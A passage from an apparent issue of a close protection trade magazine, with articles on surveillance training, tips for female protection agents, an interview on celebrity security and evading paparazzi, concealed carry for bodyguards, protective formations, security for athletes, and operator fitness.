reached the required standard for the different elements of surveillance, we then started a series of surveillance exercises involving both vehicle and foot surveillance, culminating in a final exercise incorporating everything we had learned. This exercise took us into towns, shopping centres, and on trains and buses. It was a massive learning exercise which for everyone involved was highlighted some of the challenges you might face as a surveillance operator. It also gave us the opportunity to improve any area in which we were wanting and the debriefs at the end of each stage were always brutally honest and constructive. If mistakes had been made, your attention would be drawn to this. I don’t apologise for the brief description of the course, as I feel it would detract from the benefit of those yet to complete it to give too much detail. We were also lucky enough to be taken on a live surveillance operation during our course, which allowed everyone to see how the job is done in the real world. For obvious reasons, I shall say no more! What I can say though, was that the course was extremely well run, with the minimum amount of time being spent in the classroom and the maximum amount of time on the
road. So with the course over, what had I learned? Well, A hell of a lot! I think my skills as an operator improved immeasurably, but I will let Brian and Nick be the judge of that. It had been a thoroughly enjoyable course which was very demanding and at times left my head numb!! Brian and Nick can be very demanding in their quest for excellence, but they will get the best possible results from you. So when you’re looking to undertake a surveillance course what should you be looking for? Well without casting aspersions there are always companies that will make various claims about their backgrounds to justify an inflated price tag. The Argus Europe BTEC Level 3 Advanced Surveillance course costs £950 excluding Vat, and I think it is excellent value for money. You get exceptionally high quality training, with a qualification to boot, and you’re taught by two really genuine guys, what more could you want for your pennies? Max Williamson heads up Komodo Red Ltd an operational company who specialise in providing unarmed close protection, unarmed combat training and surveillance services. For enquiries please contact admin@komodored.com or 0700 3400 450.
Circuit : : 13
Circuit :: OnTheJob
Cindy Sommer A few industry Do’s and Don’ts from a colleague across the pond I was born into a family of all boys; two older brothers and one younger. My father was employed with the Boeing Company when suddenly, he was laid off. He applied for and was given the position of Deputy Sheriff for the Santa Barbara County Sheriff’s Department. (back in the day when all he had to do was show up, they gave him a uniform, a badge, a gun and a patrol car and then said, ‘go to work’.) This experience left an indelible mark on my mind. His uniform, the service, the power, all of it…and although his career was very short and he eventually returned to the Boeing Company, it left a lasting impression upon me as a child. So, you probably guessed my background by now…yes, I was a cop for the Los Angeles County Sheriff’s Department. I worked for nearly fifteen years before resigning to take a non profit organization full time in order to help kids and families with addiction prevention and treatment, a lot stemming out of my work on the streets as a cop. After that, I returned to law enforcement, this time as a Reserve Police Officer. I eventually made my way into Executive Protection amongst those in the Entertainment Industry. After a few years, I landed the most fantastic job working with Royal Families & Diplomats and have been doing that ever since. As I write this article, I am in the heart New York City. I recently finished a job here in the Big Apple with a Royal Middle Eastern Family and the security team was majorly comprised of women agents. It was hilarious because I’d never, since working the jails, worked with so many women. (Especially doing any kind of dignitary protection work) There are so few of us who do this type of work with any consistency really…and even fewer that are really good and confident in the work they do. So I thought to myself, ‘hey, this might be fun.’
These basics apply to both genders but there is a difference working with females 14 : : Circuit
Thanks to my good network in this field, I was asked to locate females in the industry that could perform the task. Upon
close scrutiny of the CV’s I saw a couple things that stood out: Qualifications were out-dated and although the agent was well qualified on paper, usually the training was old, or the certification was about to expire. Another thing I noticed was a lack of consistency in the work experience. Either there was a lack of willingness to work full-time in the field or the CV was simply poorly written. Never underestimate the power of your CV/ Resume. It has to be concise, clear and always contain a professional picture. Some of the dos and even more importantly, some of the don’ts in this industry is what I would like to highlight for you. These basics apply to both genders but there is a difference working with females and so if you want to work with other females and make it successfully, here are a few tips:
The Do’s Be Open to learn: Get to know your team members and communicate. If you don’t have ‘all that’ experience in the field of executive or dignitary protection, it’s okay, but don’t act like you do. It’s not something you can cover up easily and you will lose credibility. Just say “wow, I have a lot to learn” and be open to doing just that. There are very few women in the world who have been assigned to a full-time team with someone who is a Royal or a Diplomat. These positions are few and far in between. For those of us who have been fortunate enough to work with a team, we are always learning from each other. We know each other’s strengths and each other’s weaknesses. Work as a team and remember good communication is a key factor. Come Prepared: Your attire must be professional at all times however there are variables. It will depend upon several factors: the age of the principle, the activity you are engaging in and the weather. Whether it is business attire, smart casual or casual, know that your suitcase contains the proper attire from the beginning of the job. Have a small flat purse with a shoulder strap that you can use for various items you may need to carry. We all know that female suits do not have the necessary pockets that men’s suits have. Take your suits to the cleaners and have the appropriate pockets added if necessary. At the very least, have all your clothing professionally cleaned and pressed before arriving for the assignment. Remember
Circuit :: OnTheJob to take an extra battery for your radio and your phone charger wherever you go. Be On Time: There is nothing worse than beginning a briefing without all the team members present. Being on time means showing up at least fifteen minutes prior to the posted briefing time. If you show up at the time of briefing, most people will consider you ‘late’. Prepare your clothes the night before and make sure your shoes are the proper type. No open toed shoes, no heals. Clean, polished and shined. Get your rest and sleep at least six to eight hours. Set your alarm and a back up alarm if you are a heavy sleeper. Do Your Job: If the contractor wanted you to be a supervisor and ‘take charge’ he would have hired you for that position. Don’t assume you are better than your supervisor. Most likely, he or she has years of experience in a vast array of venues and this is just one of them. At the same time however, if your principle comes to you with a proposed idea or request, listen to the principle gracefully, but always remember the hierarchy should be respected. Bring the issue to your superior and let them make the decision. Even though the VIP is the final client, you immediate supervisor is the one that will keep you employed.
Women like to talk a lot
Build Relationships: Use the time you have with co-workers and super-
visors to bond. This is a priceless opportunity that can lead to a more positive work environment, better flow and even future job opportunities.
The Don’ts Don’t get too close to your principle. Be genuine, but keep it professional. You are hired to provide protection and security. Stick to what you know best. Your principle may give you permission to ‘go shopping’ whilst on duty. Don’t do it. You are on duty and regardless of how comfortable you feel never forget that you are working and are always being watched. Don’t Gossip: Women talk a lot. Working with an all women team, this area can be a real challenge. If you have a problem with a team member, go directly to them and discuss the issue in a forthright but professional manner. If you cannot talk nicely about someone, keep your mouth shut. Anything negative will only serve to break apart the team and make it weaker. Put your focus on building the team up and increasing effective communication. Don’t Party: It’s good to let off some steam after work and have a drink with a team member but limit the amount of alcohol you drink because it can affect your entire next shift when you think it might not. Remember that you are always being watched.
EXPO 2010 14-15 April 2010 | National Hall, Olympia
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Circuit : : 15 3/8/09 17:38:09
Circuit :: HardTalk
Behind the Bodyguard Industry
A Elijah Shaw quizzes – Hans van Beuge of Savior Services
Elijah Shaw: Hans, how long have you been in the Protection Industry? Hans Van Beuge: My career began in 1970 as an 18year old. This was well before any licensing or training accreditation was necessary. I was recruited to work for a company that provided security for Rock venues and Festivals and quickly progressed to tour/personal security for various bands and artists. ES: Can you give our readers a little bit of your background? HvB: I started doing security work to support myself as an aspiring athlete. I was a Shot Putter in the Australian Athletic Team. I was 6’6” and 240lb at 18 and about 265lb by the time I was 20. Back then most of the guys protecting entertainers were martial artists or former boxers or wrestlers. Muscle and physicality were seen as the only pre requisite at the time; however that’s definitely how I got my break into the industry. ES: Knowing how difficult it is to build a strong, long term base in EP work, what specific skills/traits make you marketable to potential clients?
mazing how two people on the other side of the world who have never met face to face can share the same outlook and philosophy. Han van Beuge, is one of those guys that when you hear him talk you go, “I couldn’t have said it better myself”. (in this case, I really couldn’t have!) Hans Is a veteran Executive Protection Agent and Principal Operator of Savior (Stalking And Violent Offender Response), an Australianbased VIP Protection agency that lists a number of world recognized clientele on their roster. Hans and I had become acquainted, and in a short time I realized that his professionalism and demeanor make him a perfect candidate to profile in our ongoing Q&A entitled Beyond the Bodyguard Industry.
which areas of Protection you are best suited for. In this profession you can work in the Government, Military, PSD, Corporate (from CEO’s of Fortune 500 companies to small business owners), or for Wealthy Individuals, Entertainers (encompassing actors, rock bands, individual singers, rappers, models etc) and professional athletes. Although the principles of protection remain the same, the perspectives vary enormously depending in which field you work. Very few guys can transition successfully between all areas. With the killing of John Lennon in 1980, the Hinckley/Reagan/Foster incident in early ’81 and a host of other high profile attacks on celebrities around then , I came to the conclusion that the greatest hazard to entertainers was going to be coming from those mentally disordered individuals who for whatever demented reason seek connection with the famous. I started to study psychology, reading and researching as much material as was available to understand the mindset of the types of offenders who pose a potential risk to my clients. I did as many courses as possible and started to interface with clinical psychiatrists and psychologists to workshop ideas and
share my on-the-ground experiences with their more often textbook experience. Behavioural prediction became a greater and greater aspect of the services I provided and eventually I started to market myself as a “Violence Consultant” rather than a “Bodyguard” to reflect this shift in focus. I also found it a rather untapped area for offering advice as it was in an area that Law Enforcement had no expertise with and the Mental Health authorities had little interest in. You see, our society today is obsessed with the world of Celebrity and Fame. Human neurobiology, evolution, parenting, technology and profit mongering have all come together to create this perfect storm of “obsession”. The result is that it becomes an increasingly difficult environment for famous individuals to live in with safety and privacy. Specialising and having the experience to offer perspective clients the solutions and ways to prevent these risks gives you a marked advantage over a purely “guard-orientated” service. I’ll also note that I have had no prior experience in either Law-Enforcement or the Military. In some areas of protection work this is a defi-
Circuit :: HardTalk tage in Celebrity Protection. In my experience this clientele often feels more compatible with agents who are a little more unconventional and less regimented than guys who have had formalized Government service. ES: Given that you also own your own company, what challenges do you also face as a business owner? HvB: The whole question of marketing can often be a difficult one for our industry. Guys who are naturally suited to protection work often aren’t the best at self promotion. You have to market your business but be aware that high-end clientele are expecting discretion and confidentiality from any prospective company they engage. It can be difficult to balance these two conflicting factors. We are a very small company of only 6 operators. It’s very difficult to find personnel that meet our stringent selection requirements. Yet when we do, often you cannot guarantee them full time work. Therefore, these guys who would excel in the job, will often drift into another line of work that offers a higher degree of job security. ES: Interesting point, one I can whole heartedly relate to as an agency owner myself. Shifting gears, I know that you have some pretty extensive experience dealing with the paparazzi as it relates to celebrity clients. What do you think are some effective ways to deal with aggressive photographers? HvB: Well, no security or safety program designed for a client is complete unless you have a plan to counter or minimize the invasive/aggressive/illegal intrusions of the tabloid media. Understand what each particular client’s attitude is towards the paparazzi. Some are nonchalant about them; others want their privacy protected at all costs and most have a love/hate relationship. No matter what their opinion of the paparazzi, I’ve never yet met a client who didn’t want to be advised of the presence/position of paparazzi before a photo was taken. My advice: use asymmetrical and innovative tactics in dealing with the paparazzi. Change vehicles frequently, change routes, use disguises, and deploy decoy vehicles. Frequently though, we use a very high profile, distinctive, heavily’ blacked out’ vehicle to move the client in with a similar chase car. We predominately use these vehicles for the client’s public movements, getting the paparazzi conditioned to looking out or following these vehicles and then use low profile vehicles for the times when the clients wish to avoid being followed. We treat the paparazzi as we would any other offender of interest. We identify/photograph/ determine which agency they work for and
“
Looking back over the past 39 years the highlights have been the international travel
”
We distribute the names and photographs of the paparazzi on our database to Hotel management of any hotel that we have a client staying in and frequently score hits and then get them removed. Identification and photographs also assist if you need to report any illegal/dangerous activity of an individual paparazzi to Law-Enforcement authorities. ES: Great procedure!
HvB: If we are encountering dangerous vehicular pursuit by the paparazzi we notify and request Police assistance and frequently get an unmarked car to observe our movements and book any media vehicle that runs red lights or is being driven in a dangerous manner. Although this doesn’t make them desist in following it does keep them somewhat in line for a short duration. We apply a lot of the tactics advocated in Carlos Marighella’s ‘Mini-Manual of the Urban Guerrilla’: Know the terrain you operate in better than the opposition. We map out choke points were we can block them from following the principal’s car with the chase car, source private properties and building car parks where we can enter but deny them access and then quickly exit via a different exit and disseminate false information about a clients movements through their extensive snitch network. (Some of the larger paparazzi agencies like Bauer/Griffin pay out well over a $100,000 a year in snitch money). Be aware that they will use scanners to hack into your comms network so use cell phones and code phrases in relation to communication between agents/drivers. Always be aware that they are videoing your actions and recording any conversations you have with them. Just yesterday, a client who has been the subject of intense media interest requested that we avoid being followed by the paparazzi. We left the hotel he is staying in with our usual two car convoy, the client’s car heavily blacked out, ran a few half hearted blocking movements, allowing the papps to think they outmanoeuvred us and then went to a pre arranged private residence in an up-market area. As we entered the front gates we stationed an agent there to ensure the press didn’t trespass and then appeared to debus the client at the rear of the residence. After around about 15 minutes the ‘Clients’ car left the property with the driver’s window down and the driver told the agent at the front gate, in earshot of the
media, that he would be back in 20 minutes. Of course instead of doing this he returned, un- followed to the Hotel where upon we departed with the client while the pack of paparazzi were still encamped out the front of the supposed residence! ES: Can you share a bit of you best experience in the industry so far for Circuit readers? HvB: Looking back over the past 39 years the highlights have been the international travel, going to so many different countries, usually by private jet, staying in the best accommodation and participating in activities with your clients that as a private individual you would never be able to afford or gain access to. I’ve also been fortunate to have made many lasting friendships with other security men and women around the world that I’ve been privileged to work on assignments with. However, the benefits of a successful career in Protection are obvious but the downside is rarely highlighted. The tedium, the monotony, the frequent boredom rarely gets presented. I would not like to calculate how many years of my life have been spent standing in corridors alone waiting for a client! These countless hours of inactivity are the equity that’s banked day in day out and traded for brief moments of excitement. Not to mention the long hours worked and the extended periods of time away from home also impacts heavily on your personal life. ES: To someone coming up after you in the industry, what advice would you give? HvB: Strive for professionalism in your work. We see so many people in this industry who lack any vestige of professional demeanour or behaviour. Conduct yourself in a professional manner, be well presented and attired, be dignified and be knowledgeable about as many areas of security as possible. Your Clients are going to look to you for answers to all kinds of security issues. Also remember that we are in a service industry. Treat your client as the boss, you are there to support them, they are not there to enhance your career. Keep in mind that your reputation is everything in this game. Once lost, it’s almost impossible to recover. Keep training and updating your soft and hard skills. All our required skills are very perishable and it’s no good telling some-one how good you used to be. Today is the only day that matters. Lastly, always remember that to do your job effectively, you have to have proximity to your client and to be given that proximity the client has to trust you. There is no set career path in this industry. Some guy’s get good work straight away; others take a long time to make the right contacts. Persist; network and stay focused.
Circuit :: HardTalk
Concealed Carry For the Executive Protection Agent
A
s a professional Executive Protection Agent when it comes to carrying a concealed weapon during the course of duty, there are many factors to think about. For the sake of time, space, and pure reader boredom; I will keep it to the basics. Realizing if you talk to a hundred people you will get a hundred different opinions on this subject, consider this article for what it’s worth; a former US Marine, firearms instructor, amateur gunsmith, Executive Protection Agent, and seasoned security professional giving his “two cents”. There are a few questions to ask yourself when you choose to carry concealed. “How many rounds do I need?” How heavy is the firearm?” “And where am I going to carry this firearm?” As the first part in a four part series, I will later dig into other aspects of firearms as it relates to executive protection, but for now lets focus on deciding factors of the initial decision on carrying concealed. “How many rounds do I need?” When it comes to the question of round capacity, you have to look at a few different elements. The first thing to consider is the more ammunition you have the heavier the gun is going to be (I will dig deeper in to weight in a bit). Another thing to think about is the consideration of what happens if you find yourself in an extended firefight? Not a good thing if you bring a five shot revolver to a shootout where you are pinned down and have to secure in place. In light of that, and with circumstances permitting, I would always suggest extra ammo for just such occasion. Currently there are high capacity semi-autos on the market that allow you 19 rounds in the magazine and one in the chamber. If you can’t end the engagement with 20 rounds, I would suggest heading back to the pistol range and working on your marksmanship fundamentals! The counterpoint is, typically the more rounds you have, the bigger the gun, which factors into weight and successful concealment ability. All things you have to consider when you are choosing the firearm that is right for you. “How heavy is the firearm?” Weight of the gun is another major factor when choosing a concealed firearm that will offer you the most “bang for your buck” (pun intended). If you are carrying a bulky cannon with a trigger and it becomes uncomfortable, in time you will want to stop carrying it, and then what’s the point? The individual user will have to find the middle ground that works for them. On the flip-
18 : : Circuit
The Role of Firearms in Executive Protection. Pt. 1 by JUSTIN JOHNSON
side, if you carry a gun that is too light, yes you could carry it for days on end with no problem, but recoil and accuracy are going to become an issue. The lighter the gun the more recoil is felt which will make follow-on shots more difficult thus in turn affecting your accuracy. This however can be minimized with range time and lots of practice (which is always a good thing!). With that said, my personal preference is to carry a heavier firearm, yes it takes some getting used to but the benefits are increased accuracy (what happens if you find yourself in a fire fight in a crowded area?) and quicker follow on shots. I personally carry a full size,
steel frame 1911, because I know when I draw and fire my firearm, my shots will go where I intended and my second, third, and forth shots will be on target just like the first. Summing up this section, with all the different types of material guns are now made out of, (steel, polymer, titanium, aluminium alloy etc.) With a decent amount of research and trial and error finding a firearm that is the right weight shouldn’t be a problem. “Where am I going to carry this gun?” The options for where to carrying a firearm are pretty broad and I usually let the situation dictate. The thing to think about when choosing exactly where to position the firearm is to become comfortable with 2 or 3 types of carries. This way you will become familiar with where your sidearm is and when you need it, it’s ready. First pick a primary carry style and wear your weapon like it’s a 2nd skin. You know your nose is there without touching it right? Same concept. Some of the different options for carrying are hip, small of the back, ankle, shoulder holster, and off-body carry, just to name a few. The type of carry style you use will be directly linked to how you dress on that occasion, what kind of assignment you are on, and what type of gear you are carrying. It’s very difficult to wear an ankle holster with a pair of shorts if you get my drift. The last piece of the holster puzzle is to make sure you train with it. When you go to the range to practice (you are practicing right?) take YOUR holster with you and drill, drill, drill. I have touched on a few of the things to think about when deciding to carry a concealed firearm in the Executive Protection industry. While there are numerous other considerations to take into account, these topics should be included when determining the most effective concealed weapon for you. What assignment will you be working? What is comfortable to my body type? And where exactly am I going to conceal it? You are your tools; the better your proficiency, the better your chances are at coming out the victor at that moment of truth. In the next issue I am going to examine some of the various firearms on the market as well as lay out some pointers that will increase your accuracy at the range. Until next time… Stay Safe. Justin Johnson is a certified firearms instructor and the Assistant Operations Manager at Icon Services Corporation – Executive Protection Division.
Circuit :: HardTalk
Back to Basics The Arc of Influence by KARL THORNTON
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he following is a quick look at “Advanced Protective Formations”. Now the information will provide a spark to those old memory cells, or will enforce the need to undertake a refresher course in group formation. Close Personal Protection is a complex profession. There are many facets to a Close Protection Operative’s success.
Sometimes even the most experienced bodyguard needs to recap on old information, techniques and strategies. It may be to understand previous information that was not fully understood at the time, but with experience under the belt, now allows a better understanding. Or we may have just simply forgotten. We may have had a leave of absence from the industry, or have undertaken another roll within security such as a stint in crowd control and need to freshen up our knowledge base for an up coming CPP assignment.
larly throughout the escorting of a VIP from point A to point B. Variations on your arc of responsibility will change, you must adapt fast. Like with anything in life, training and reinforcement will create the natural and physical skills required to automatically react as required. Never assume that basic theory will provide you with what you need to succeed.
In this issue I will talk about the “Arc of Influence” also known as the Arc of Responsibility. No matter what assignment you are on, from a small security detail like a basic SET (Security Escort Team) or a full PSD (Protective Security Detail) assignment, you should know and adhere to your Arc.
There are many variations and approaches to implementing your arc. So it is important that you can adapt to change at a very rapid rate. As your arc is not defined by rules and guidelines when an attack is underway, your arc can change in an instant when faced with the rules of engagement.
Depending on the size of the team, and your appointed position will determine your Arc. A professional well trained CPO will not deviate from his Arc unless requested by his Operational and or Team Leader, or unless faced with an AOP (Attack on Principal). Your Arc is your responsibility. Sorry for all the “in brackets” information, but as stated this is a re-cap and you may have forgotten the acronyms.
This is where, like any area of physical training, you need to practice variations.
Arc of Influence - (The CPO’s arc of responsibility) Any CPP detail that requires Single CPO Formation, Open V Formations, Box Formations, Diamond Formations, and or Wedge Formations. The CPO must know their responsibilities within this environment. AN ATTACK: when it strikes, an Operative with well trained skills in their arc of responsibilities within the given environment will deliver professional personal protection. Unlike crowd control or basic security services, the CPO must be able to work within a team yet at the same time know their arc of responsibility, not falter in the event of an AOP (Attack On Principal). He/She must know their limitations, expectations, and variations. In team formations there will be movement and changing of formation positions regu-
For example: Your arc will be defined by your roll in the SET (Security Escort Team) if you are front right of a box formation, your arc will be defined by that delegated position. If a directional change is called from North to South, your arc will once again change to the new delegated position. This can be an ongoing process throughout the escort detail. You need to adapt to the change. So what happens when you are under attack? When under attack, this is where training and repetition of drills come into play. If you haven’t trained, failure is just around the corner. Training will develop intuition and reactions based on muscle memory and rehearsed scenarios. As I have stated, your arc is not defined by set rules and guidelines (yes there are methods, techniques, procedures, and responsibilities) when an attack is underway. It will require instant response. If your team is down an operative or more due to dealing with an attacker, your arc may shift from a designated area of responsibility to a single protection responsibility, especially if the Primary Escort is taken out, and you have assumed that roll due to proximity. In other words you were the closest to the client
(Principal) and need to extract ASAP. However, it may not even be that dramatic. It may simply be that during a VIP event, an unexpected crowd has gathered, and part of the SET team is required to advance to secure the area, and your responsibility once again has been changed and you may be part of a two man formation. Where the Primary Escort will still remain in his/her delegated position, and you will take up the responsibility as the point man. Your arc is now expanded to not only a wider arc, but a deeper arc. Your field of view is not only dedicated to what can come from left, right and center, but your distance has also now increased. Overreact and your credibility can be bruised not your body. By this I mean that if the possibility of attack is minimal, and that the gathering of a boisterous crowd may be due to celebrity related issues, you don’t want to take down an individual simply wanting an autograph. However, if you are not well trained in SET formations and your arc of responsibility, overreacting is sometimes a habit not an option. Always remember training is not just about what goes on in the classroom. Training is about taking mental notes and challenges in everyday life. When out shopping utilize mirrors, reflections from shop front windows, reflections from shinny tiled areas, assess what is going on around you. Use your environment. You should train for single protection details, as well as group formations. Even if you are working with your regular formed team, or are allocated to a different team for an assignment, if you are well trained in SET formations you can adapt and fit in. If you are not well trained, you are not only putting yourself at risk, but your other team members, and more importantly the PRINCIPAL. Remember the old saying “there is no I in team”, but there are 2 in training. Karl Thornton is a Executive Protection Specialist and member of the BBA and ASIS
Circuit : : 19
Circuit :: HardTalk We consider the role of the Security Professional and why there is an ever-growing need for a professional and the services they offer if you spend your life living in the public eye.
SPORTING STARS – DO THEY REALLY REQUIRE SECURITY?
Once upon a time the rich and famous were the only people seen to have bodyguards. For people whom spend their life in the public eye, the need to hire a Security Professional has never been more prevalent. Modern times are seeing more and more people becoming security aware and statistics show that people now tend to feel a little more vulnerable.
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he Close Protection industry in recent years has seen a complete transformation since legislation, which has been brought in by the Security Industry Authority (SIA) in the UK. The government formed the organisation and gave them the responsibility to regulate the private Security Industry. Regulation brings with it lots of benefits, people whom now serve within the security industry are subject to vigorous vetting and are trained to a much higher standard than they once were. This has helped improve the image of the industry from where it was 10-15 years ago into the respected and professional industry it now is. Recent times have seen a significant growth within the industry as more and more people are continuing to take greater steps to protect themselves, their image and their property. In many cases this has been a result of the numerous well-profiled reports of burglaries carried out at the homes of celebrities and sporting superstars. The spate of burglaries at the homes of nu-
20 : : Circuit
by SHAUN WEST
merous high profile football stars whilst they are away on duty with their club or country has repeatedly hit the headlines and has certainly highlighted the growing need for at the very least a discrete security presence. Footballers have been seen as easy targets for the determined and professional thief who has access to all clubs fixtures, as they are easily obtainable within the public domain. This is an open invitation inviting those of dubious character to come and take a look to see what can be had. A professional thief will spend weeks, sometimes months watching these properties. They will use this time to establish if there
is an actual security presence or not and if there are any patterns set by the security or the homeowners. If no security presence is found the thief will consider this home an easy target and will then make plans to enter the property. It is regularly reported in the national newspapers the salaries earned by footballers and the rich and famous alike, to some this is just too much temptation, especially in the current climate where unemployment is high and the future uncertain. Another way in which criminals may target the rich and famous is by watching something as simple as MTV’s Cribs! You get taken around the house [so you know the layout], you also get to see the contents of many of the rooms and what sort of vehicles are available at the residence. Ask yourself the following question; “Do you really need to show off your home on TV for millions to see?” Remember it is not just your property that is in danger by allowing easy access to these individuals; you are also placing your family at risk. One high profile footballer had
his family held at knife point while his home was fleeced of goods including a BMW car and high net worth jewellery. It is not only individual’s security that should be looked at but also the clubs and sporting bodies should take responsibility for the safety and security of their athletes. The recent terrorist attack on the Sri Lankan cricket team in March this year showed numerous security lapses in spectacular fashion. Seven athletes were injured in this event as well as six police officers and two by standers killed, this should have opened the eyes of many to the heightened security threats faced by sporting superstars when travelling around the world. Chris Broad a British umpire complained that promises for heightened protection were not honoured. “We were promised that we would get presidential-style security,” he explained after returning to Britain. “In that hour of need,” he said, “our security vanished.” “OUR SECURITY VANISHED” This spectacularly highlights the need for professionally trained Close Protection Operatives to travel with sporting stars. I am in no way stating that if professional CP Operators were travelling with the team that this incident would not have happened, however by having trained close protection specialists travelling and by having a threat assessment carried out by professionals it would have significantly reduced the threat of attack as protective security measures would have been put in place. This event should have a significant impact on future sporting events; as the implications are huge. There are many large events such as the World Cup and Olympic games just around the corner. These events would act as the perfect vehicle for terrorists to attract the media attention they so crave. Terrorists are well known for seeking out the “spectacular” as has been proven throughout history, so we should not kid ourselves that this will not happen again. In life you generally get what you pay for so when considering what security measures to employ, always use a reputable company or individual. By having a discrete security presence you can make all the difference and make the thieves look elsewhere for an easy target. Imagine the embarrassment and damage caused to your career and reputation should any of those home movies get out? Remember, “Prevention is always better than the cure!” This article was written by Shaun West from the British Bodyguard Association. To find out more about Shaun visit his personal website www.shaunwest.co.uk or that of the BBA www.the-bba.org.uk
PAST CELEBRITY RELATED INCIDENTS
Attacks Continue on Premier League Stars
Darren Fletcher’s home burgled
Teenage Manchester United Star Frederico Macheda’s home was robbed whilst in his own home. The teenage striker who lives in Sale was targeted by thieves who stole various items from his home including cash and jewellery. It is believed that at least 1 person suffered minor injuries in the incident.
Emile Heskey’s home targeted by gang
Heskey’s home in Hale has been targeted by a gang and his partner held at knife point. The attack happened while the [then] Wigan Athletic striker was at a club training session. The cheeky thieves not only stole jewellery but also made their getaway in one of the stars cars, a BMW X5.
The Manchester United stars home in leafy Bowden, Greater Manchester was burgled while the player was flying to Italy with the premier league side. It is believed that the player’s partner was threatened before the gang went through the home taking valuable items at will.
Pop star Rachel Stevens targeted by thieves.
This incident just shows that it is not only your home that is at risk as the star was robbed by three muggers on her way home in North London. The trio intercepted Miss Stevens and escaped with items thought to include a watch, necklace and an engagement ring.
THE NORTH AMERICAN BODYGUARD ASSOCIATION PRESENTS:
ICON Celebrity & VIP Protection Training “Professional guys, they know their stuff & come highly recommended.” ~ Sha money XL, Personal Manager to 50 Cent
Course Highlights • Operating in the world of Celebrity & VIP Protection • Protecting the Principal (Individual & Team) • Transportation movements and logistics • Working the red carpet & major events • Dealing with fans, paparazzi & stalkers • How to market yourself and establish a career in the industry
Make yourself more marketable in the new economy! Icon Services Corporation is proud to present a five-day course of practical theory and hands-on training in the world of Celebrity & VIP Protection. If you are new to the bodyguard industry or a current operator looking to refresh and polish your skills, this course will offer excellent instruction into the professional side of Close Protection work. Taught by industry veteran Elijah Shaw, who in addition to his corporate clients, has traveled the world as the personal bodyguard of international public figures such as musical giant Usher, supermodel Naomi Campbell, and rap megastar 50 Cent, the course will offer real world problems, scenarios, and solutions from instructors that are currently active in the industry.
www.Industry-Icon.com/Training Discount for BBA & NABA Members Location: Minneapolis, Minnesota (USA) For more info contact: 1 (651) 695-8778 or email Training@industry-icon.com
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Circuit :: HardTalk
HYSICAL FITNES Should it now be part of a Close Protection course?
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he Inclusion of physical fitness as part of a Close Protection Course is a controversial subject. It is understandable training providers in the UK have their course criteria dictated by the Security Industry Authority [SIA], with the length of a commercial course making it difficult to include any extra subjects or training periods. That said, it would be a worthwhile addition with huge benefits to; operators, clients, principals and team members alike, from both a theoretical and practical standpoint. Should physical tests be included? The debate for including pass or fail tests is also a heated one. Defining an acceptable requirement is difficult; age, gender, body type, role (hostile/non hostile), are all considerations when designing a physical assessment. A militarystyle test is one idea that has seen some support: 1.5m run: (time dependant on age/ gender) Press-ups: (two minutes best effort) Sit-ups: (two minutes best effort) While this demonstrates a good level of overall fitness, the relevance of this assessment for a CPO needs to be questioned. In my opinion, the testing needs to be done at the employers level and relevant to the role. One company I have worked for in Iraq has physical tests in the induction as well as periodically throughout the contract: Two mile run (helmet, weapons-short/ long and body armour) under 22min 30sec Dry fire and manoeuvre over 200m (fourman team) immediately followed by: Stretcher run (simulated casualty against the clock)
22 : : Circuit
by RYAN NAISH This not only weeds out unsuitable employees but is also job specific and keeps the physical standards high. For a CP course to include such a test would be unadvisable, as the work environment differs to such an extreme throughout the roles. In what form should physical fitness take when integrated into a course? Theory This should be a short instructional period with the aim of equipping the potential operator with practical and role specific fitness knowledge. This will assist with maintaining good levels of overall fitness while in an operational environment or without access to a modern gym facility. Topics covered could include: The core components of fitness Maximal strength - The amount of force one can exert under voluntary effort
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(Enamait, 2006) e.g. shouldering a 100kg wounded client from the floor.
Strength Endurance – the ability to effectively maintain muscular functioning under work conditions of long duration (Enamait, 2006) e.g. climbing a steep set of multiple stairs carrying a med pack. Power - Using the formula (strength x speed), immediate maximal muscle contraction enabling you to explode through a range of movements e.g. the initial stage of fire and manoeuvre from the prone position. Cardiovascular Endurance - The ability of the heart to pump blood to working muscles and their subsequent efficiency to use it e.g. a 10km morning run with a client of above average fitness. The use of improvised equipment From my own knowledge and experience, I have been able to create challenging workouts in whichever theatre I’m in; from a camp in Northern Somalia to a hotel room in London. Using your imagination is important; rocks (of varying sizes and weights), tyres, sandbags, strength bands, scrap metal and, of course, bodyweight exercises can all be utilised f o r strength, circuit training and conditioning alike. Resistance is still resistance regardless of what form it takes. Designing a simple training programme You’ve got the nuts and bolts, now to put it all together. This does not need to be rocket science; a general template that trains each core fitness component relevant to the role is one idea; (Maximal strength, strength endurance, power and cardiovascular endurance). A five-day split with one component trained each day, the fifth day being a rest day, then repeated. This will gel together to produce a
Circuit :: HardTalk
Security Awareness
multi-faceted operator, capable of excelling at any fitness related task. This is by no means set in stone; if a role you are undertaking requires greater emphasis of a particular core fitness component, then tailor your programme around it e.g. your role’s requirement for power is minimal, but cardiovascular endurance is key. In that case include extra cardio sessions in replacement of power sessions. Flexibility is paramount. Practical The aim of this should be to demonstrate exercises/methods discussed in theory and install the mindset, to maintain a good level of fitness while working. With fatigue becoming a factor as the course progresses, the realisation of how difficult it can be will become apparent. Due to time restraints on courses, the sessions should all be kept to a fairly short period either; before/after the training day, incorporated into unarmed combat/arrest and restraint sessions or integrated into a training scenario, e.g. a 1km run with med packs, into a training exercise. Intensive circuit training with improvised equipment, incorporating relevant skills e.g. weapon handling drills/stripping and assembling, could be used to good effect. Team fitness and some activities involving individual effort would prove a relevant inclusion also. Conclusion This article is my opinion – and by no means definitive. There are valid arguments both for and against the inclusion of physical training on a commercial Close Protection course, but the need to be physically fit as an operator, in any theatre, is – without doubt – a necessity. Over subsequent issues of “The Circuit”, I will be including; training advice, workout samples, product reviews and nutrition info. Any fitness-related discussions or queries are invited on the forum. For those interested in functional fitness that relate to the role and to give you a taster of the articles to come, these are some excellent websites that are full of information. They have proven an inspiration to me and helped in my physical training while working away. rosstraining.com This is the flagship functional training website – in my opinion. Headed by Ross Enamait it includes; forums, blogs, exercise demonstrations and reasonably- priced, effective training products. (No, I’m not on a commission!) Crossfit.com Another great website including; exercise demonstrations, articles and workout of the day (WOD) being my favourite feature. Utrinque Paratus
THE CURRENT CLIMATE
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by DECLAN MEIGHAN
